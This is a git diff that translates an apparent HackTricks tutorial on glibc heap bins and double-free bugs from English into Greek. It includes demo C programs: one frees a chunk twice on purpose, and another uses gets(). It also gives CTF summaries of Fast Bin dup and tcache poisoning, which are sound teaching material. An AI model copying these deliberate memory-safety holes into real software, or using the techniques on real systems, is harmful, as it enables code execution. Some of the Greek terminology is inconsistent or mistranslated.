-### Small Bins +### Μικρές Θήκες -Small bins are faster than large bins but slower than fast bins. +Οι μικρές θήκες είναι ταχύτερες από τις μεγάλες θήκες αλλά πιο αργές από τις γρήγορες θήκες. -Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists. +Κάθε θήκη από τις 62 θα έχει **κομμάτια του ίδιου μεγέθους**: 16, 24, ... (με μέγιστο μέγεθος 504 bytes σε 32 bits και 1024 σε 64 bits). Αυτό βοηθά στην ταχύτητα εύρεσης της θήκης όπου θα πρέπει να γίνει η κατανομή χώρου και στην εισαγωγή και αφαίρεση καταχωρήσεων σε αυτές τις λίστες. -This is how the size of the small bin is calculated according to the index of the bin: - -- Smallest size: 2\*4\*index (e.g. index 5 -> 40) -- Biggest size: 2\*8\*index (e.g. index 5 -> 80) +Αυτός είναι ο τρόπος υπολογισμού του μεγέθους της μικρής θήκης σύμφωνα με τον δείκτη της θήκης: +- Μικρότερο μέγεθος: 2\*4\*δείκτης (π.χ. δείκτης 5 -> 40) +- Μεγαλύτερο μέγεθος: 2\*8\*δείκτης (π.χ. δείκτης 5 -> 80) ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define NSMALLBINS 64 @@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) #define in_smallbin_range(sz) \ - ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) +((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) #define smallbin_index(sz) \ - ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ - + SMALLBIN_CORRECTION) +((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ ++ SMALLBIN_CORRECTION) ``` - -Function to choose between small and large bins: - +Συνάρτηση για την επιλογή μεταξύ μικρών και μεγάλων κάδων: ```c #define bin_index(sz) \ - ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) +((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) ``` -
-Add a small chunk example - +Προσθέστε ένα μικρό παράδειγμα κομματιού ```c #include #include int main(void) { - char *chunks[10]; - int i; +char *chunks[10]; +int i; - // Loop to allocate memory 8 times - for (i = 0; i < 9; i++) { - chunks[i] = malloc(0x100); - if (chunks[i] == NULL) { // Check if malloc failed - fprintf(stderr, "Memory allocation failed at iteration %d\n", i); - return 1; - } - printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); - } +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} - // Loop to free the allocated memory - for (i = 0; i < 8; i++) { - free(chunks[i]); - } +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} - chunks[9] = malloc(0x110); +chunks[9] = malloc(0x110); - return 0; +return 0; } ``` +Σημειώστε πώς κατανέμουμε και απελευθερώνουμε 9 κομμάτια του ίδιου μεγέθους ώστε να **γεμίσουν το tcache** και το όγδοο αποθηκεύεται στο unsorted bin επειδή είναι **πολύ μεγάλο για το fastbin** και το ένατο δεν έχει απελευθερωθεί, οπότε το ένατο και το όγδοο **δεν συγχωνεύονται με το κορυφαίο κομμάτι**. Στη συνέχεια, κατανέμουμε ένα μεγαλύτερο κομμάτι 0x110 που κάνει **το κομμάτι στο unsorted bin να πηγαίνει στο small bin**. -Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**. - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin: - +Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στην εντολή `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο small bin: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in unsorted bin. ──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 - → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 small non-empty bins. ``` -
-### Large bins +### Μεγάλες δεξαμενές -Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size. +Σε αντίθεση με τις μικρές δεξαμενές, οι οποίες διαχειρίζονται κομμάτια σταθερού μεγέθους, κάθε **μεγάλη δεξαμενή διαχειρίζεται μια σειρά από μεγέθη κομματιών**. Αυτό είναι πιο ευέλικτο, επιτρέποντας στο σύστημα να φιλοξενεί **διάφορα μεγέθη** χωρίς να χρειάζεται μια ξεχωριστή δεξαμενή για κάθε μέγεθος. -In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB. +Σε έναν αλγόριθμο κατανομής μνήμης, οι μεγάλες δεξαμενές ξεκινούν όπου τελειώνουν οι μικρές δεξαμενές. Οι περιοχές για τις μεγάλες δεξαμενές μεγαλώνουν σταδιακά, πράγμα που σημαίνει ότι η πρώτη δεξαμενή μπορεί να καλύπτει κομμάτια από 512 έως 576 byte, ενώ η επόμενη καλύπτει από 576 έως 640 byte. Αυτό το μοτίβο συνεχίζεται, με τη μεγαλύτερη δεξαμενή να περιέχει όλα τα κομμάτια πάνω από 1MB. -Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off. +Οι μεγάλες δεξαμενές είναι πιο αργές στη λειτουργία τους σε σύγκριση με τις μικρές δεξαμενές, διότι πρέπει να **ταξινομήσουν και να αναζητήσουν μέσα σε μια λίστα με ποικίλα μεγέθη κομματιών για να βρουν την καλύτερη εφαρμογή** για μια κατανομή. Όταν ένα κομμάτι εισάγεται σε μια μεγάλη δεξαμενή, πρέπει να ταξινομηθεί, και όταν η μνήμη κατανεμηθεί, το σύστημα πρέπει να βρει το σωστό κομμάτι. Αυτή η επιπλέον εργασία τις καθιστά **αργές**, αλλά καθώς οι μεγάλες κατανομές είναι λιγότερο συχνές από τις μικρές, είναι μια αποδεκτή ανταλλαγή. -There are: +Υπάρχουν: -- 32 bins of 64B range (collide with small bins) -- 16 bins of 512B range (collide with small bins) -- 8bins of 4096B range (part collide with small bins) -- 4bins of 32768B range -- 2bins of 262144B range -- 1bin for remaining sizes +- 32 δεξαμενές εύρους 64B (συγκρούονται με μικρές δεξαμενές) +- 16 δεξαμενές εύρους 512B (συγκρούονται με μικρές δεξαμενές) +- 8 δεξαμενές εύρους 4096B (μερικώς συγκρούονται με μικρές δεξαμενές) +- 4 δεξαμενές εύρους 32768B +- 2 δεξαμενές εύρους 262144B +- 1 δεξαμενή για τα υπόλοιπα μεγέθη
-Large bin sizes code - +Κωδικός μεγάλων δεξαμενών ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define largebin_index_32(sz) \ - (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index_32_big(sz) \ - (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) // XXX It remains to be seen whether it is good to keep the widths of // XXX the buckets the same or whether it should be scaled by a factor // XXX of two as well. #define largebin_index_64(sz) \ - (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ - ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ - ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ - ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ - ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ - 126) +(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) #define largebin_index(sz) \ - (SIZE_SZ == 8 ? largebin_index_64 (sz) \ - : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ - : largebin_index_32 (sz)) +(SIZE_SZ == 8 ? largebin_index_64 (sz) \ +: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ +: largebin_index_32 (sz)) ``` -
-Add a large chunk example - +Προσθήκη ενός μεγάλου παραδείγματος ```c #include #include int main(void) { - char *chunks[2]; +char *chunks[2]; - chunks[0] = malloc(0x1500); - chunks[1] = malloc(0x1500); - free(chunks[0]); - chunks[0] = malloc(0x2000); +chunks[0] = malloc(0x1500); +chunks[1] = malloc(0x1500); +free(chunks[0]); +chunks[0] = malloc(0x2000); - return 0; +return 0; } ``` +2 μεγάλες κατανομές εκτελούνται, στη συνέχεια μία απελευθερώνεται (βάζοντάς την στο αταξινόμητο δοχείο) και μια μεγαλύτερη κατανομή γίνεται (μετακινώντας την ελεύθερη από το αταξινόμητο δοχείο στο μεγάλο δοχείο). -2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin). - -Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin: - +Συγκεντρώστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το δοχείο tcache είναι γεμάτο και ένα κομμάτι είναι στο μεγάλο δοχείο: ```bash gef➤ heap bin ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00 [+] Found 0 chunks in 0 small non-empty bins. ──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── [+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290 - → Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 large non-empty bins. ``` -
-### Top Chunk - +### Κύριο Τμήμα ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Top +Top - The top-most available chunk (i.e., the one bordering the end of - available memory) is treated specially. It is never included in - any bin, is used only if no other chunk is available, and is - released back to the system if it is very large (see - M_TRIM_THRESHOLD). Because top initially - points to its own bin with initial zero size, thus forcing - extension on the first malloc request, we avoid having any special - code in malloc to check whether it even exists yet. But we still - need to do so when getting memory from system, so we make - initial_top treat the bin as a legal but unusable chunk during the - interval between initialization and the first call to - sysmalloc. (This is somewhat delicate, since it relies on - the 2 preceding words to be zero during this interval as well.) - */ +The top-most available chunk (i.e., the one bordering the end of +available memory) is treated specially. It is never included in +any bin, is used only if no other chunk is available, and is +released back to the system if it is very large (see +M_TRIM_THRESHOLD). Because top initially +points to its own bin with initial zero size, thus forcing +extension on the first malloc request, we avoid having any special +code in malloc to check whether it even exists yet. But we still +need to do so when getting memory from system, so we make +initial_top treat the bin as a legal but unusable chunk during the +interval between initialization and the first call to +sysmalloc. (This is somewhat delicate, since it relies on +the 2 preceding words to be zero during this interval as well.) +*/ /* Conveniently, the unsorted bin can be used as dummy top on first call */ #define initial_top(M) (unsorted_chunks (M)) ``` +Βασικά, αυτό είναι ένα κομμάτι που περιέχει όλα τα διαθέσιμα heap. Όταν εκτελείται μια malloc, αν δεν υπάρχει διαθέσιμο ελεύθερο κομμάτι προς χρήση, αυτό το κορυφαίο κομμάτι θα μειώνει το μέγεθός του δίνοντας τον απαραίτητο χώρο.\ +Ο δείκτης προς το Top Chunk αποθηκεύεται στη δομή `malloc_state`. -Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\ -The pointer to the Top Chunk is stored in the `malloc_state` struct. - -Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk. +Επιπλέον, στην αρχή, είναι δυνατόν να χρησιμοποιηθεί το αταξινόμητο κομμάτι ως το κορυφαίο κομμάτι.
-Observe the Top Chunk example - +Παρατηρήστε το παράδειγμα του Top Chunk ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +return 0; } ``` - -After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks: - +Μετά την εκτέλεση και την αποσφαλμάτωσή του με ένα σημείο διακοπής στον `ret` opcode του `main`, είδα ότι η malloc επέστρεψε τη διεύθυνση `0xaaaaaaac12a0` και αυτοί είναι οι θρόισμοι: ```bash gef➤ heap chunks Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] +[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] +[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk ``` - -Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\ -It's also possible to see the length of the Top chunk on its chunk header: - +Μπορεί να παρατηρηθεί ότι το κορυφαίο κομμάτι βρίσκεται στη διεύθυνση `0xaaaaaaac1ae0`. Αυτό δεν είναι έκπληξη γιατί το τελευταίο κατανεμημένο κομμάτι ήταν στη διεύθυνση `0xaaaaaaac12a0` με μέγεθος `0x410` και `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\ +Είναι επίσης δυνατό να δούμε το μήκος του κορυφαίου κομματιού στην κεφαλίδα του κομματιού του: ```bash gef➤ x/8wx 0xaaaaaaac1ae0 - 16 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000 ``` -
-### Last Remainder +### Τελευταίο Υπόλοιπο -When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct. +Όταν χρησιμοποιείται το malloc και ένα κομμάτι διαιρείται (από το unsorted bin ή από το top chunk για παράδειγμα), το κομμάτι που δημιουργείται από το υπόλοιπο του διαιρεμένου κομματιού ονομάζεται Τελευταίο Υπόλοιπο και ο δείκτης του αποθηκεύεται στη δομή `malloc_state`. -## Allocation Flow +## Ροή Κατανομής -Check out: +Δείτε: {{#ref}} heap-memory-functions/malloc-and-sysmalloc.md {{#endref}} -## Free Flow +## Ροή Απελευθέρωσης -Check out: +Δείτε: {{#ref}} heap-memory-functions/free.md {{#endref}} -## Heap Functions Security Checks +## Έλεγχοι Ασφαλείας Συναρτήσεων Heap -Check the security checks performed by heavily used functions in heap in: +Ελέγξτε τους ελέγχους ασφαλείας που εκτελούνται από τις πολύ χρησιμοποιούμενες συναρτήσεις στο heap στο: {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} -## References +## Αναφορές - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/src/binary-exploitation/libc-heap/double-free.md b/src/binary-exploitation/libc-heap/double-free.md index a30116d58..c5acc71e9 100644 --- a/src/binary-exploitation/libc-heap/double-free.md +++ b/src/binary-exploitation/libc-heap/double-free.md @@ -1,92 +1,90 @@ -# Double Free +# Διπλή Απελευθέρωση {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Βασικές Πληροφορίες -If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption. +Αν απελευθερώσετε ένα μπλοκ μνήμης περισσότερες από μία φορές, μπορεί να διαταραχθούν τα δεδομένα του αλγορίθμου κατανομής και να ανοίξει ο δρόμος για επιθέσεις. Έτσι συμβαίνει: όταν απελευθερώνετε ένα μπλοκ μνήμης, επιστρέφει σε μια λίστα ελεύθερων κομματιών (π.χ. το "fast bin"). Αν απελευθερώσετε το ίδιο μπλοκ δύο φορές στη σειρά, ο αλγόριθμος κατανομής το ανιχνεύει αυτό και ρίχνει ένα σφάλμα. Αλλά αν **απελευθερώσετε ένα άλλο κομμάτι ενδιάμεσα, ο έλεγχος διπλής απελευθέρωσης παρακάμπτεται**, προκαλώντας διαφθορά. -Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code. - -Example: +Τώρα, όταν ζητήσετε νέα μνήμη (χρησιμοποιώντας `malloc`), ο αλγόριθμος κατανομής μπορεί να σας δώσει ένα **μπλοκ που έχει απελευθερωθεί δύο φορές**. Αυτό μπορεί να οδηγήσει σε δύο διαφορετικούς δείκτες να δείχνουν στην ίδια τοποθεσία μνήμης. Αν ένας επιτιθέμενος ελέγχει έναν από αυτούς τους δείκτες, μπορεί να αλλάξει τα περιεχόμενα αυτής της μνήμης, κάτι που μπορεί να προκαλέσει προβλήματα ασφαλείας ή ακόμη και να τους επιτρέψει να εκτελέσουν κώδικα. +Παράδειγμα: ```c #include #include int main() { - // Allocate memory for three chunks - char *a = (char *)malloc(10); - char *b = (char *)malloc(10); - char *c = (char *)malloc(10); - char *d = (char *)malloc(10); - char *e = (char *)malloc(10); - char *f = (char *)malloc(10); - char *g = (char *)malloc(10); - char *h = (char *)malloc(10); - char *i = (char *)malloc(10); +// Allocate memory for three chunks +char *a = (char *)malloc(10); +char *b = (char *)malloc(10); +char *c = (char *)malloc(10); +char *d = (char *)malloc(10); +char *e = (char *)malloc(10); +char *f = (char *)malloc(10); +char *g = (char *)malloc(10); +char *h = (char *)malloc(10); +char *i = (char *)malloc(10); - // Print initial memory addresses - printf("Initial allocations:\n"); - printf("a: %p\n", (void *)a); - printf("b: %p\n", (void *)b); - printf("c: %p\n", (void *)c); - printf("d: %p\n", (void *)d); - printf("e: %p\n", (void *)e); - printf("f: %p\n", (void *)f); - printf("g: %p\n", (void *)g); - printf("h: %p\n", (void *)h); - printf("i: %p\n", (void *)i); +// Print initial memory addresses +printf("Initial allocations:\n"); +printf("a: %p\n", (void *)a); +printf("b: %p\n", (void *)b); +printf("c: %p\n", (void *)c); +printf("d: %p\n", (void *)d); +printf("e: %p\n", (void *)e); +printf("f: %p\n", (void *)f); +printf("g: %p\n", (void *)g); +printf("h: %p\n", (void *)h); +printf("i: %p\n", (void *)i); - // Fill tcache - free(a); - free(b); - free(c); - free(d); - free(e); - free(f); - free(g); +// Fill tcache +free(a); +free(b); +free(c); +free(d); +free(e); +free(f); +free(g); - // Introduce double-free vulnerability in fast bin - free(h); - free(i); - free(h); +// Introduce double-free vulnerability in fast bin +free(h); +free(i); +free(h); - // Reallocate memory and print the addresses - char *a1 = (char *)malloc(10); - char *b1 = (char *)malloc(10); - char *c1 = (char *)malloc(10); - char *d1 = (char *)malloc(10); - char *e1 = (char *)malloc(10); - char *f1 = (char *)malloc(10); - char *g1 = (char *)malloc(10); - char *h1 = (char *)malloc(10); - char *i1 = (char *)malloc(10); - char *i2 = (char *)malloc(10); +// Reallocate memory and print the addresses +char *a1 = (char *)malloc(10); +char *b1 = (char *)malloc(10); +char *c1 = (char *)malloc(10); +char *d1 = (char *)malloc(10); +char *e1 = (char *)malloc(10); +char *f1 = (char *)malloc(10); +char *g1 = (char *)malloc(10); +char *h1 = (char *)malloc(10); +char *i1 = (char *)malloc(10); +char *i2 = (char *)malloc(10); - // Print initial memory addresses - printf("After reallocations:\n"); - printf("a1: %p\n", (void *)a1); - printf("b1: %p\n", (void *)b1); - printf("c1: %p\n", (void *)c1); - printf("d1: %p\n", (void *)d1); - printf("e1: %p\n", (void *)e1); - printf("f1: %p\n", (void *)f1); - printf("g1: %p\n", (void *)g1); - printf("h1: %p\n", (void *)h1); - printf("i1: %p\n", (void *)i1); - printf("i2: %p\n", (void *)i2); +// Print initial memory addresses +printf("After reallocations:\n"); +printf("a1: %p\n", (void *)a1); +printf("b1: %p\n", (void *)b1); +printf("c1: %p\n", (void *)c1); +printf("d1: %p\n", (void *)d1); +printf("e1: %p\n", (void *)e1); +printf("f1: %p\n", (void *)f1); +printf("g1: %p\n", (void *)g1); +printf("h1: %p\n", (void *)h1); +printf("i1: %p\n", (void *)i1); +printf("i2: %p\n", (void *)i2); - return 0; +return 0; } ``` +Σε αυτό το παράδειγμα, μετά την πλήρωση του tcache με αρκετά ελευθερωμένα κομμάτια (7), ο κώδικας **απελευθερώνει το κομμάτι `h`, στη συνέχεια το κομμάτι `i`, και μετά ξανά το `h`, προκαλώντας μια διπλή απελευθέρωση** (γνωστή και ως Fast Bin dup). Αυτό ανοίγει τη δυνατότητα λήψης επικαλυπτόμενων διευθύνσεων μνήμης κατά την επανακατανομή, πράγμα που σημαίνει ότι δύο ή περισσότερες δείκτες μπορούν να δείχνουν στην ίδια τοποθεσία μνήμης. Η χειραγώγηση δεδομένων μέσω ενός δείκτη μπορεί στη συνέχεια να επηρεάσει τον άλλο, δημιουργώντας έναν κρίσιμο κίνδυνο ασφαλείας και δυνατότητα εκμετάλλευσης. -In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation. +Εκτελώντας το, σημειώστε πώς **`i1` και `i2` πήραν την ίδια διεύθυνση**: -Executing it, note how **`i1` and `i2` got the same address**: - -
Initial allocations:
+
Αρχικές κατανομές:
 a: 0xaaab0f0c22a0
 b: 0xaaab0f0c22c0
 c: 0xaaab0f0c22e0
@@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
 g: 0xaaab0f0c2360
 h: 0xaaab0f0c2380
 i: 0xaaab0f0c23a0
-After reallocations:
+Μετά τις επανακατανομές:
 a1: 0xaaab0f0c2360
 b1: 0xaaab0f0c2340
 c1: 0xaaab0f0c2320
@@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
 i2: 0xaaab0f0c23a0
 
-## Examples +## Παραδείγματα - [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/) - - We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite. - - Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance). - - One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook` - - We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution. +- Μπορούμε να κατανεμηθούν μόνο κομμάτια μεγέθους Fast-Bin εκτός από το μέγεθος `0x70`, το οποίο αποτρέπει την συνήθη υπερχείλιση του `__malloc_hook`. +- Αντίθετα, χρησιμοποιούμε διευθύνσεις PIE που ξεκινούν με `0x56` ως στόχο για Fast Bin dup (1/2 πιθανότητα). +- Ένα μέρος όπου αποθηκεύονται οι διευθύνσεις PIE είναι στο `main_arena`, το οποίο βρίσκεται μέσα στο Glibc και κοντά στο `__malloc_hook` +- Στοχεύουμε σε μια συγκεκριμένη μετατόπιση του `main_arena` για να κατανεμηθεί ένα κομμάτι εκεί και συνεχίζουμε να κατανεμηθούμε κομμάτια μέχρι να φτάσουμε στο `__malloc_hook` για να αποκτήσουμε εκτέλεση κώδικα. - [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/) - - Using Tcache bins and a null-byte overflow, we can achieve a double-free situation: - - We allocate three chunks of size `0x110` (`A`, `B`, `C`) - - We free `B` - - We free `A` and allocate again to use the null-byte overflow - - Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again - - We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free. - - We leverage the double free using [Tcache poisoning](tcache-bin-attack.md) +- Χρησιμοποιώντας Tcache bins και μια υπερχείλιση null-byte, μπορούμε να επιτύχουμε μια κατάσταση διπλής απελευθέρωσης: +- 